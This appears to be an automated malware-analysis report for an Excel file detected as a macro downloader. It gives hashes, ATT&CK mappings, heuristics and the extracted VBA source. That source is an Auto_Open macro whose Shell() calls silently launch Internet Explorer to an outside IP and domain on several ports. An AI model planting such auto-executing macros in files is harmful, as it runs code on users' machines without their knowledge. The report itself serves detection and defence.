Xls.Downloader.W2000m-10009382-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 3c7943674ec2d756…

MALICIOUS

Office (OLE)

32.5 KB Created: 2014-03-24 15:48:21 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: 3e0b796bcec9331e2173f039f2764d17 SHA-1: 69898cc667204147da48218e88db37282300771b SHA-256: 3c7943674ec2d75698d95f8abede87c2daf65fa4a2a46d87e66ebc61bf04a5f1
222 Risk Score

Malware Insights

Xls.Downloader.W2000m-10009382-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The Auto_Open VBA macro contains multiple Shell() calls that execute Internet Explorer to visit various URLs. This behavior is consistent with a downloader that fetches a secondary payload. The ClamAV detection name 'Xls.Downloader.W2000m-10009382-0' further supports this assessment.

Heuristics 6

  • ClamAV: Xls.Downloader.W2000m-10009382-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.W2000m-10009382-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://46.252.73.45?bch=ping In document text (OLE body)
    • http://46.252.73.45:8080?bch=pingIn document text (OLE body)
    • http://www-direct.crest-approved.org?bch=pingIn document text (OLE body)
    • http://46.252.73.45:53?bch=pingIn document text (OLE body)
    • http://www-direct.crest-approved.org:8080?bch=pingIn document text (OLE body)
    • http://www-direct.crest-approved.org:53?bch=pingIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1763 bytes
SHA-256: dff259a3522426d3904ccd107cb0487d61e3b186bc56550fab2fb652f5963cce
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()

Shell ("c:\progra~1\intern~1\iexplore http://www-direct.crest-approved.org?bch=ping")
Shell ("c:\progra~1\intern~1\iexplore http://46.252.73.45?bch=ping")

Shell ("c:\progra~1\intern~1\iexplore http://www-direct.crest-approved.org:8080?bch=ping")
Shell ("c:\progra~1\intern~1\iexplore http://46.252.73.45:8080?bch=ping")

Shell ("c:\progra~1\intern~1\iexplore http://www-direct.crest-approved.org:53?bch=ping")
Shell ("c:\progra~1\intern~1\iexplore http://46.252.73.45:53?bch=ping")

End Sub



Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.